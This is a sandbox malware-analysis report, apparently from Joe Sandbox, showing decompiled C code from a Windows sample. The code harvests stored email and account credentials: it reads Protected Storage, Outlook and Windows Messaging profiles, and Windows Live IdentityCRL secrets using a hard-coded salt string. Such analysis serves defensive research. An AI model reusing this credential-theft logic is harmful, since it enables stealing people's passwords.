                                                                                                              • Instruction ID: 29be9d14b742f54cd69d53bb86675b71f99c80547e1740e7b57482248bd42427
                                                                                                              • Opcode Fuzzy Hash: e4ac121d43bcfd85fe0a049a2ed8d4d615210acba499a00e3dd401073b2a3fcf
                                                                                                              • Instruction Fuzzy Hash: 9D518D71108345ABC7209F61DD09A9BBBF8FF84705F00483FF685A22A1DB789914CB5E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403C3D Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 170librarystringloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              C-Code - Quality: 65%
                                                                                                              			E00403C3D(signed int __ecx, void* __eflags, void* __fp0) {
				char _v8;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t38;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				char* _t73;
				void* _t76;
				_Unknown_base(*)()* _t86;
				void* _t87;
				void* _t89;
				signed int _t98;
				char* _t106;
				_Unknown_base(*)()* _t120;
				void* _t131;

				_t131 = __fp0;
				_t91 = __ecx;
				_push(__ecx);
				_t98 = __ecx;
				_t89 = __ecx + 0x87c;
				 *(_t89 + 0xc) =  *(_t89 + 0xc) & 0x00000000;
				E0040E894(_t89);
				_t38 = LoadLibraryA("pstorec.dll"); // executed
				 *(_t89 + 8) = _t38;
				if(_t38 == 0) {
					L4:
					E0040E894(_t89);
				} else {
					_t86 = GetProcAddress(_t38, "PStoreCreateInstance");
					_t120 = _t86;
					_t91 = 0 | _t120 != 0x00000000;
					 *(_t89 + 0x10) = _t86;
					if(_t120 != 0) {
						goto L4;
					} else {
						_t91 = _t89 + 4;
						_t87 =  *_t86(_t89 + 4, 0, 0, 0); // executed
						_t122 = _t87;
						if(_t87 != 0) {
							goto L4;
						} else {
							 *(_t89 + 0xc) = 1;
						}
					}
				}
				E004047A0(_t98 + 0x890, _t122);
				E004036CC(_t91, _t98, _t98 + 0x890, _t131, L"www.google.com/Please log in to your Gmail account"); // executed
				E004036CC(_t91, _t98, _t98 + 0x890, _t131, L"www.google.com:443/Please log in to your Gmail account"); // executed
				E004036CC(_t91, _t98, _t98 + 0x890, _t131, L"www.google.com/Please log in to your Google Account");
				E004036CC(_t91, _t98, _t98 + 0x890, _t131, L"www.google.com:443/Please log in to your Google Account");
				_push(_t98 + 0x858); // executed
				E0040754D(_t91, _t122); // executed
				E0040719C(_t91, _t98 + 0x86c); // executed
				E0040765B(_t122, _t98 + 0x878); // executed
				_t52 = E0040EB3F(0x80000001, "Software\\Microsoft\\Internet Account Manager\\Accounts",  &_v8);
				_t123 = _t52;
				if(_t52 == 0) {
					E00402BB8(_t91,  &_v8, _t123, _t131, _t98, 1);
				}
				_t54 = E0040EB3F(0x80000001, "Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts",  &_v8);
				_t124 = _t54;
				if(_t54 == 0) {
					E00402BB8(_t91,  &_v8, _t124, _t131, _t98, 5);
				}
				E00402C44(_t91, _t131, _t98); // executed
				 *((intOrPtr*)(_t98 + 0xb1c)) = 6;
				_t56 = E00406278();
				_push( &_v8);
				if( *((intOrPtr*)(_t56 + 0x10)) != 1) {
					_push("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles");
				} else {
					_push("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles");
				}
				_push(0x80000001);
				_t58 = E0040EB3F();
				_t126 = _t58;
				if(_t58 != 0) {
					 *((char*)(_t98 + 0xa9c)) = 0;
				} else {
					E00402B09( &_v8, _t126, _t131, _t98);
				}
				 *((intOrPtr*)(_t98 + 0xb1c)) = 0xf;
				_t60 = E0040EB3F(0x80000001, "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles",  &_v8);
				_t127 = _t60;
				if(_t60 != 0) {
					 *((char*)(_t98 + 0xa9c)) = 0;
				} else {
					E00402B09( &_v8, _t127, _t131, _t98);
				}
				E0040E8AB(_t89);
				E004047F1(_t98 + 0x890);
				E00402FC2(_t98, _t91, _t131, 0x80000001); // executed
				E00402FC2(_t98, _t91, _t131, 0x80000002); // executed
				E0040329E(_t131, _t98);
				E004034CB(_t91, _t127, _t131, _t98); // executed
				E0040396C(_t127, _t131, _t98); // executed
				E004037B1(_t91, _t98, _t131, _t98); // executed
				_t73 = _t98 + 0xb20;
				_t128 =  *_t73;
				if( *_t73 != 0) {
					 *((intOrPtr*)(_t98 + 0xf34)) = 0xa;
					E0040D37A(_t98 + 0x1c8, _t128, _t73, 0);
				}
				_t106 = _t98 + 0xc25;
				_t129 =  *_t106;
				if( *_t106 != 0) {
					strcpy(_t98 + 0x52a, _t98 + 0xe2f);
					 *((intOrPtr*)(_t98 + 0xf34)) = 0xb;
					E0040D37A(_t98 + 0x1c8, _t129, _t106, 0);
				}
				_push(_t98 + 0x640); // executed
				E0040D9F9(_t129); // executed
				E0040D865(_t98 + 0x640);
				_t76 = E00410D1B(_t98 + 0x870, _t98 + 0x870); // executed
				return _t76;
			}





















                                                                                                              0x00403c3d
                                                                                                              0x00403c3d
                                                                                                              0x00403c40
                                                                                                              0x00403c44
                                                                                                              0x00403c46
                                                                                                              0x00403c4c
                                                                                                              0x00403c52
                                                                                                              0x00403c5c
                                                                                                              0x00403c66
                                                                                                              0x00403c69
                                                                                                              0x00403c9b
                                                                                                              0x00403c9d
                                                                                                              0x00403c6b
                                                                                                              0x00403c71
                                                                                                              0x00403c79
                                                                                                              0x00403c7b
                                                                                                              0x00403c7e
                                                                                                              0x00403c83
                                                                                                              0x00000000
                                                                                                              0x00403c85
                                                                                                              0x00403c88
                                                                                                              0x00403c8c
                                                                                                              0x00403c8e
                                                                                                              0x00403c90
                                                                                                              0x00000000
                                                                                                              0x00403c92
                                                                                                              0x00403c92
                                                                                                              0x00403c92
                                                                                                              0x00403c90
                                                                                                              0x00403c83
                                                                                                              0x00403ca8
                                                                                                              0x00403cb2
                                                                                                              0x00403cbc
                                                                                                              0x00403cc6
                                                                                                              0x00403cd0
                                                                                                              0x00403cdb
                                                                                                              0x00403cdc
                                                                                                              0x00403ce8
                                                                                                              0x00403cf4
                                                                                                              0x00403d07
                                                                                                              0x00403d0f
                                                                                                              0x00403d11
                                                                                                              0x00403d19
                                                                                                              0x00403d19
                                                                                                              0x00403d2c
                                                                                                              0x00403d34
                                                                                                              0x00403d36
                                                                                                              0x00403d3e
                                                                                                              0x00403d3e
                                                                                                              0x00403d44
                                                                                                              0x00403d49
                                                                                                              0x00403d53
                                                                                                              0x00403d5f
                                                                                                              0x00403d60
                                                                                                              0x00403d69
                                                                                                              0x00403d62
                                                                                                              0x00403d62
                                                                                                              0x00403d62
                                                                                                              0x00403d6e
                                                                                                              0x00403d73
                                                                                                              0x00403d7b
                                                                                                              0x00403d7d
                                                                                                              0x00403d8a
                                                                                                              0x00403d7f
                                                                                                              0x00403d83
                                                                                                              0x00403d83
                                                                                                              0x00403d9f
                                                                                                              0x00403da9
                                                                                                              0x00403db1
                                                                                                              0x00403db3
                                                                                                              0x00403dc0
                                                                                                              0x00403db5
                                                                                                              0x00403db9
                                                                                                              0x00403db9
                                                                                                              0x00403dc9
                                                                                                              0x00403dd4
                                                                                                              0x00403de0
                                                                                                              0x00403dec
                                                                                                              0x00403df2
                                                                                                              0x00403df8
                                                                                                              0x00403dfe
                                                                                                              0x00403e04
                                                                                                              0x00403e09
                                                                                                              0x00403e0f
                                                                                                              0x00403e12
                                                                                                              0x00403e1d
                                                                                                              0x00403e27
                                                                                                              0x00403e27
                                                                                                              0x00403e2c
                                                                                                              0x00403e32
                                                                                                              0x00403e35
                                                                                                              0x00403e45
                                                                                                              0x00403e55
                                                                                                              0x00403e5f
                                                                                                              0x00403e5f
                                                                                                              0x00403e6a
                                                                                                              0x00403e6b
                                                                                                              0x00403e71
                                                                                                              0x00403e7d
                                                                                                              0x00403e86

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040E894: FreeLibrary.KERNELBASE(?,0040E8C8,?,?,?,?,?,?,0040421D), ref: 0040E8A0
                                                                                                              • LoadLibraryA.KERNEL32(pstorec.dll), ref: 00403C5C
                                                                                                              • GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 00403C71
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00403E45
                                                                                                              Strings
                                                                                                              • www.google.com:443/Please log in to your Gmail account, xrefs: 00403CB7
                                                                                                              • Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00403D22
                                                                                                              • Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles, xrefs: 00403D69
                                                                                                              • Software\Microsoft\Windows Messaging Subsystem\Profiles, xrefs: 00403D62
                                                                                                              • www.google.com/Please log in to your Google Account, xrefs: 00403CC1
                                                                                                              • Software\Microsoft\Office\15.0\Outlook\Profiles, xrefs: 00403D95
                                                                                                              • Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00403CFD
                                                                                                              • www.google.com/Please log in to your Gmail account, xrefs: 00403CAD
                                                                                                              • PStoreCreateInstance, xrefs: 00403C6B
                                                                                                              • www.google.com:443/Please log in to your Google Account, xrefs: 00403CCB
                                                                                                              • pstorec.dll, xrefs: 00403C57
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProcstrcpy
                                                                                                              • String ID: PStoreCreateInstance$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\15.0\Outlook\Profiles$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows Messaging Subsystem\Profiles$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles$pstorec.dll$www.google.com/Please log in to your Gmail account$www.google.com/Please log in to your Google Account$www.google.com:443/Please log in to your Gmail account$www.google.com:443/Please log in to your Google Account
                                                                                                              • API String ID: 2884822230-961845771
                                                                                                              • Opcode ID: 15f9054abbfc37778d4c1d7b27580450eb5362da3c9f1b5edc2447daf75d1bd8
                                                                                                              • Instruction ID: d05da07ce2d894a49ef5f331cfc6c83e82fbb8602fa7f27bb7646818df223e42
                                                                                                              • Opcode Fuzzy Hash: 15f9054abbfc37778d4c1d7b27580450eb5362da3c9f1b5edc2447daf75d1bd8
                                                                                                              • Instruction Fuzzy Hash: 9B51D771600605B6D714BF72CD46BEABB6CAF00709F10053FF905B61C2DBBCAA5587A9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D9F9 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 101registryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 224 40d9f9-40da2e call 4118a0 RegOpenKeyExA 227 40db30-40db36 224->227 228 40da34-40da48 RegOpenKeyExA 224->228 229 40db26-40db2a RegCloseKey 228->229 230 40da4e-40da77 RegQueryValueExA 228->230 229->227 231 40db1c-40db20 RegCloseKey 230->231 232 40da7d-40da8c call 4047a0 230->232 231->229 232->231 235 40da92-40daca call 404811 232->235 235->231 238 40dacc-40dad4 235->238 239 40db12-40db16 LocalFree 238->239 240 40dad6-40db0d memcpy * 2 call 40d6fb 238->240 239->231 240->239
                                                                                                              C-Code - Quality: 96%
                                                                                                              			E0040D9F9(void* __eflags, void* _a4, int _a8, int _a12, void* _a16, char _a20, void* _a24, int _a28, void* _a32, int _a36, void _a40, void _a104) {
				void* _v0;
				void* __esi;
				long _t34;
				long _t40;
				void* _t64;
				void* _t68;
				int _t73;

				E004118A0(0x102c, _t64);
				_t34 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\IdentityCRL", 0, 0x20019,  &_v0); // executed
				if(_t34 != 0) {
					L10:
					return _t34;
				}
				if(RegOpenKeyExA(_v0, "Dynamic Salt", 0, 0x20019,  &_a4) != 0) {
					L9:
					_t34 = RegCloseKey(_v0);
					goto L10;
				}
				_a8 = 0x1000;
				_t40 = RegQueryValueExA(_a4, "Value", 0,  &_a36,  &_a40,  &_a8);
				_t81 = _t40;
				if(_t40 == 0) {
					_t63 = _a4 + 0xc;
					if(E004047A0(_a4 + 0xc, _t81) != 0) {
						_a20 = _a8;
						_a24 =  &_a40;
						_t73 = 0x40;
						_t68 = L"%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd";
						_a28 = _t73;
						_a32 = _t68;
						if(E00404811(_t63,  &_a20,  &_a28,  &_a12) != 0) {
							if(_a12 < 0x400) {
								memcpy( &_a40, _t68, _t73);
								memcpy( &_a104, _a16, _a12);
								E0040D6FB(_t64, _a12 + _t73, _a4,  &_a40, _a12 + _t73, _v0);
							}
							LocalFree(_a16);
						}
					}
				}
				RegCloseKey(_a4);
				goto L9;
			}










                                                                                                              0x0040da04
                                                                                                              0x0040da2a
                                                                                                              0x0040da2e
                                                                                                              0x0040db30
                                                                                                              0x0040db36
                                                                                                              0x0040db36
                                                                                                              0x0040da48
                                                                                                              0x0040db26
                                                                                                              0x0040db2a
                                                                                                              0x00000000
                                                                                                              0x0040db2a
                                                                                                              0x0040da67
                                                                                                              0x0040da6f
                                                                                                              0x0040da75
                                                                                                              0x0040da77
                                                                                                              0x0040da80
                                                                                                              0x0040da8c
                                                                                                              0x0040da96
                                                                                                              0x0040daa0
                                                                                                              0x0040daa4
                                                                                                              0x0040dab4
                                                                                                              0x0040dabb
                                                                                                              0x0040dabf
                                                                                                              0x0040daca
                                                                                                              0x0040dad4
                                                                                                              0x0040dadd
                                                                                                              0x0040daf2
                                                                                                              0x0040db0d
                                                                                                              0x0040db0d
                                                                                                              0x0040db16
                                                                                                              0x0040db16
                                                                                                              0x0040daca
                                                                                                              0x0040da8c
                                                                                                              0x0040db20
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\IdentityCRL,00000000,00020019,?), ref: 0040DA2A
                                                                                                              • RegOpenKeyExA.ADVAPI32(?,Dynamic Salt,00000000,00020019,?), ref: 0040DA44
                                                                                                              • RegQueryValueExA.ADVAPI32 ref: 0040DA6F
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040DB20
                                                                                                                • Part of subcall function 004047A0: LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                                • Part of subcall function 004047A0: GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              • memcpy.MSVCRT ref: 0040DADD
                                                                                                              • memcpy.MSVCRT ref: 0040DAF2
                                                                                                                • Part of subcall function 0040D6FB: RegOpenKeyExA.ADVAPI32(0040DB12,Creds,00000000,00020019,0040DB12), ref: 0040D725
                                                                                                                • Part of subcall function 0040D6FB: memset.MSVCRT ref: 0040D743
                                                                                                                • Part of subcall function 0040D6FB: RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040D847
                                                                                                                • Part of subcall function 0040D6FB: RegCloseKey.ADVAPI32(?), ref: 0040D858
                                                                                                              • LocalFree.KERNEL32(?,?,00001000,?,?,?,?,?,00403E70,?), ref: 0040DB16
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040DB2A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseOpen$memcpy$AddressEnumFreeLibraryLoadLocalProcQueryValuememset
                                                                                                              • String ID: %GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd$Dynamic Salt$Software\Microsoft\IdentityCRL$Value
                                                                                                              • API String ID: 2768085393-1693574875
                                                                                                              • Opcode ID: 2702e5b6582a814fc20eadb9384ec418d8613a8c7f334e4e23fc0615c867cd5e
                                                                                                              • Instruction ID: 6117dd664a6da5d1700893ef21bfd696e4846e6baba0a559227c27352822965f
                                                                                                              • Opcode Fuzzy Hash: 2702e5b6582a814fc20eadb9384ec418d8613a8c7f334e4e23fc0615c867cd5e
                                                                                                              • Instruction Fuzzy Hash: 95316D72504344AFD700DF55DC40D9BBBECEB88358F40493EFA84E2160E774DA188B6A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411654 Relevance: 18.1, APIs: 12, Instructions: 128COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 242 411654-411670 call 411840 GetModuleHandleA 245 411691-411694 242->245 246 411672-41167d 242->246 248 4116bd-41170a __set_app_type __p__fmode __p__commode call 401a4d 245->248 246->245 247 41167f-411688 246->247 250 4116a9-4116ad 247->250 251 41168a-41168f 247->251 256 411718-411772 call 41182c _initterm __getmainargs _initterm 248->256 257 41170c-411717 __setusermatherr 248->257 250->245 252 4116af-4116b1 250->252 251->245 254 411696-41169d 251->254 255 4116b7-4116ba 252->255 254->245 258 41169f-4116a7 254->258 255->248 261 411774-41177c 256->261 262 4117ae-4117b1 256->262 257->256 258->255 265 411782-411785 261->265 266 41177e-411780 261->266 263 4117b3-4117b7 262->263 264 41178b-41178f 262->264 263->262 268 411791-411793 264->268 269 411795-4117a6 GetStartupInfoA 264->269 265->264 267 411787-411788 265->267 266->261 266->265 267->264 268->267 268->269 270 4117b9-4117bb 269->270 271 4117a8-4117ac 269->271 272 4117bc-4117d0 GetModuleHandleA call 40b9ad 270->272 271->272 275 4117d2-4117d3 exit 272->275 276 4117d9-411819 _cexit call 411879 272->276 275->276
                                                                                                              C-Code - Quality: 82%
                                                                                                              			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t33;
				intOrPtr* _t35;
				intOrPtr* _t36;
				void* _t39;
				void _t41;
				intOrPtr _t48;
				signed int _t50;
				int _t52;
				intOrPtr _t55;
				signed int _t56;
				signed int _t57;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr* _t65;
				intOrPtr* _t69;
				int _t70;
				void* _t71;
				intOrPtr _t79;

				_push(0x70);
				_push(0x4123e0);
				E00411840(__ebx, __edi, __esi);
				_t33 = GetModuleHandleA(0);
				if(_t33->i != 0x5a4d) {
					L4:
					 *(_t71 - 0x1c) = 0;
				} else {
					_t65 =  *((intOrPtr*)(_t33 + 0x3c)) + _t33;
					if( *_t65 != 0x4550) {
						goto L4;
					} else {
						_t56 =  *(_t65 + 0x18) & 0x0000ffff;
						if(_t56 == 0x10b) {
							__eflags =  *((intOrPtr*)(_t65 + 0x74)) - 0xe;
							if( *((intOrPtr*)(_t65 + 0x74)) <= 0xe) {
								goto L4;
							} else {
								_t57 = 0;
								__eflags =  *(_t65 + 0xe8);
								goto L9;
							}
						} else {
							if(_t56 == 0x20b) {
								__eflags =  *((intOrPtr*)(_t65 + 0x84)) - 0xe;
								if( *((intOrPtr*)(_t65 + 0x84)) <= 0xe) {
									goto L4;
								} else {
									_t57 = 0;
									__eflags =  *(_t65 + 0xf8);
									L9:
									_t9 = __eflags != 0;
									__eflags = _t9;
									 *(_t71 - 0x1c) = _t57 & 0xffffff00 | _t9;
								}
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t71 - 4) = 0;
				__set_app_type(2);
				 *0x417b6c =  *0x417b6c | 0xffffffff;
				 *0x417b70 =  *0x417b70 | 0xffffffff;
				_t35 = __p__fmode();
				_t62 =  *0x416b8c; // 0x0
				 *_t35 = _t62;
				_t36 = __p__commode();
				_t63 =  *0x416b88; // 0x0
				 *_t36 = _t63;
				 *0x417b68 =  *_adjust_fdiv;
				_t39 = E00401A4D();
				_t79 =  *0x416000; // 0x1
				if(_t79 == 0) {
					__setusermatherr(E00401A4D);
					_pop(_t63);
				}
				E0041182C(_t39);
				_push(0x4123b0);
				_push(0x4123ac);
				L00411826();
				_t41 =  *0x416b84; // 0x0
				 *(_t71 - 0x20) = _t41;
				 *(_t71 - 0x30) = __getmainargs(_t71 - 0x2c, _t71 - 0x28, _t71 - 0x24,  *0x416b80, _t71 - 0x20);
				_push(0x4123a8);
				_push(0x412394);
				L00411826();
				_t69 =  *_acmdln;
				 *((intOrPtr*)(_t71 - 0x34)) = _t69;
				if( *_t69 != 0x22) {
					while(1) {
						__eflags =  *_t69 - 0x20;
						if(__eflags <= 0) {
							goto L17;
						}
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
					}
				} else {
					do {
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
						_t55 =  *_t69;
					} while (_t55 != 0 && _t55 != 0x22);
					if( *_t69 == 0x22) {
						L16:
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
					}
				}
				L17:
				_t48 =  *_t69;
				if(_t48 != 0 && _t48 <= 0x20) {
					goto L16;
				}
				 *(_t71 - 0x4c) = 0;
				GetStartupInfoA(_t71 - 0x78);
				_t87 =  *(_t71 - 0x4c) & 0x00000001;
				if(( *(_t71 - 0x4c) & 0x00000001) == 0) {
					_t50 = 0xa;
				} else {
					_t50 =  *(_t71 - 0x48) & 0x0000ffff;
				}
				_t52 = E0040B9AD(_t63, _t87, GetModuleHandleA(0), 0, _t69, _t50); // executed
				_t70 = _t52;
				 *(_t71 - 0x7c) = _t70;
				if( *(_t71 - 0x1c) == 0) {
					exit(_t70); // executed
				}
				__imp___cexit();
				 *(_t71 - 4) =  *(_t71 - 4) | 0xffffffff;
				return E00411879(_t70);
			}





















                                                                                                              0x00411654
                                                                                                              0x00411656
                                                                                                              0x0041165b
                                                                                                              0x00411669
                                                                                                              0x00411670
                                                                                                              0x00411691
                                                                                                              0x00411691
                                                                                                              0x00411672
                                                                                                              0x00411675
                                                                                                              0x0041167d
                                                                                                              0x00000000
                                                                                                              0x0041167f
                                                                                                              0x0041167f
                                                                                                              0x00411688
                                                                                                              0x004116a9
                                                                                                              0x004116ad
                                                                                                              0x00000000
                                                                                                              0x004116af
                                                                                                              0x004116af
                                                                                                              0x004116b1
                                                                                                              0x00000000
                                                                                                              0x004116b1
                                                                                                              0x0041168a
                                                                                                              0x0041168f
                                                                                                              0x00411696
                                                                                                              0x0041169d
                                                                                                              0x00000000
                                                                                                              0x0041169f
                                                                                                              0x0041169f
                                                                                                              0x004116a1
                                                                                                              0x004116b7
                                                                                                              0x004116b7
                                                                                                              0x004116b7
                                                                                                              0x004116ba
                                                                                                              0x004116ba
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0041168f
                                                                                                              0x00411688
                                                                                                              0x0041167d
                                                                                                              0x004116bd
                                                                                                              0x004116c2
                                                                                                              0x004116c9
                                                                                                              0x004116d0
                                                                                                              0x004116d7
                                                                                                              0x004116dd
                                                                                                              0x004116e3
                                                                                                              0x004116e5
                                                                                                              0x004116eb
                                                                                                              0x004116f1
                                                                                                              0x004116fa
                                                                                                              0x004116ff
                                                                                                              0x00411704
                                                                                                              0x0041170a
                                                                                                              0x00411711
                                                                                                              0x00411717
                                                                                                              0x00411717
                                                                                                              0x00411718
                                                                                                              0x0041171d
                                                                                                              0x00411722
                                                                                                              0x00411727
                                                                                                              0x0041172c
                                                                                                              0x00411731
                                                                                                              0x00411750
                                                                                                              0x00411753
                                                                                                              0x00411758
                                                                                                              0x0041175d
                                                                                                              0x0041176a
                                                                                                              0x0041176c
                                                                                                              0x00411772
                                                                                                              0x004117ae
                                                                                                              0x004117ae
                                                                                                              0x004117b1
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x004117b3
                                                                                                              0x004117b4
                                                                                                              0x004117b4
                                                                                                              0x00411774
                                                                                                              0x00411774
                                                                                                              0x00411774
                                                                                                              0x00411775
                                                                                                              0x00411778
                                                                                                              0x0041177a
                                                                                                              0x00411785
                                                                                                              0x00411787
                                                                                                              0x00411787
                                                                                                              0x00411788
                                                                                                              0x00411788
                                                                                                              0x00411785
                                                                                                              0x0041178b
                                                                                                              0x0041178b
                                                                                                              0x0041178f
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00411795
                                                                                                              0x0041179c
                                                                                                              0x004117a2
                                                                                                              0x004117a6
                                                                                                              0x004117bb
                                                                                                              0x004117a8
                                                                                                              0x004117a8
                                                                                                              0x004117a8
                                                                                                              0x004117c3
                                                                                                              0x004117c8
                                                                                                              0x004117ca
                                                                                                              0x004117d0
                                                                                                              0x004117d3
                                                                                                              0x004117d3
                                                                                                              0x004117d9
                                                                                                              0x0041180e
                                                                                                              0x00411819

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                                                                                                              • String ID:
                                                                                                              • API String ID: 3662548030-0
                                                                                                              • Opcode ID: 41bf5769df4a83a18def14d6c53a8daf24d942208a748090405ecb1c565cbbc5
                                                                                                              • Instruction ID: d7daaed26df3896bd014a213398510a4c94beeaf1e1b2d32e797684dc565bfa8
                                                                                                              • Opcode Fuzzy Hash: 41bf5769df4a83a18def14d6c53a8daf24d942208a748090405ecb1c565cbbc5
                                                                                                              • Instruction Fuzzy Hash: 60416DB0D40218DFCB209FA4D984AED7BB4AB08314F24857BE661D72A1D77D99C2CB5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402C44 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 104registryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 280 402c44-402c68 call 40eb3f 283 402d8c-402d97 280->283 284 402c6e-402c9e memset call 40ec05 280->284 287 402d83-402d86 RegCloseKey 284->287 288 402ca4-402ca6 284->288 287->283 289 402cab-402d14 call 40ebc1 memset sprintf call 40eb3f 288->289 294 402d21-402d52 sprintf call 40eb3f 289->294 295 402d16-402d1c call 402bb8 289->295 299 402d61-402d71 call 40ec05 294->299 300 402d54-402d5c call 402bb8 294->300 295->294 303 402d76-402d7b 299->303 300->299 303->289 304 402d81-402d82 303->304 304->287
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00402C44(void* __ecx, void* __fp0, intOrPtr _a4) {
				void* _v8;
				int _v12;
				char _v16;
				char _v20;
				void _v275;
				char _v276;
				void _v1299;
				char _v1300;
				void* __esi;
				void* _t35;
				intOrPtr _t36;
				void* _t40;
				void* _t52;
				void* _t58;
				void* _t60;
				void* _t64;
				char* _t66;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;
				void* _t83;

				_t83 = __fp0;
				_t64 = __ecx;
				_t35 = E0040EB3F(0x80000001, "Identities",  &_v8);
				_t74 = _t73 + 0xc;
				if(_t35 == 0) {
					_v12 = 0;
					_v276 = 0;
					memset( &_v275, 0, 0xff);
					_t40 = E0040EC05(_v8, 0,  &_v276); // executed
					_t75 = _t74 + 0x18;
					if(_t40 == 0) {
						_t66 = "%s\\%s";
						do {
							_t69 = _a4;
							E0040EBC1(_t64, _v8,  &_v276, "Username", _a4 + 0xa9c, 0x7f); // executed
							_v1300 = 0;
							memset( &_v1299, 0, 0x3ff);
							sprintf( &_v1300, _t66,  &_v276, "Software\\Microsoft\\Internet Account Manager\\Accounts");
							_t52 = E0040EB3F(_v8,  &_v1300,  &_v16);
							_t76 = _t75 + 0x3c;
							_t80 = _t52;
							if(_t52 == 0) {
								E00402BB8(_t64,  &_v16, _t80, _t83, _t69, 1);
							}
							sprintf( &_v1300, _t66,  &_v276, "Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts");
							_t58 = E0040EB3F(_v8,  &_v1300,  &_v20);
							_t77 = _t76 + 0x1c;
							_t81 = _t58;
							if(_t58 == 0) {
								E00402BB8(_t64,  &_v20, _t81, _t83, _a4, 5);
							}
							_v12 = _v12 + 1;
							_t60 = E0040EC05(_v8, _v12,  &_v276); // executed
							_t75 = _t77 + 0xc;
						} while (_t60 == 0);
					}
					RegCloseKey(_v8);
				}
				_t36 = _a4;
				 *((char*)(_t36 + 0xa9c)) = 0;
				return _t36;
			}


























                                                                                                              0x00402c44
                                                                                                              0x00402c44
                                                                                                              0x00402c5c
                                                                                                              0x00402c61
                                                                                                              0x00402c68
                                                                                                              0x00402c7b
                                                                                                              0x00402c7e
                                                                                                              0x00402c84
                                                                                                              0x00402c94
                                                                                                              0x00402c99
                                                                                                              0x00402c9e
                                                                                                              0x00402ca6
                                                                                                              0x00402cab
                                                                                                              0x00402cab
                                                                                                              0x00402cc6
                                                                                                              0x00402cd8
                                                                                                              0x00402cde
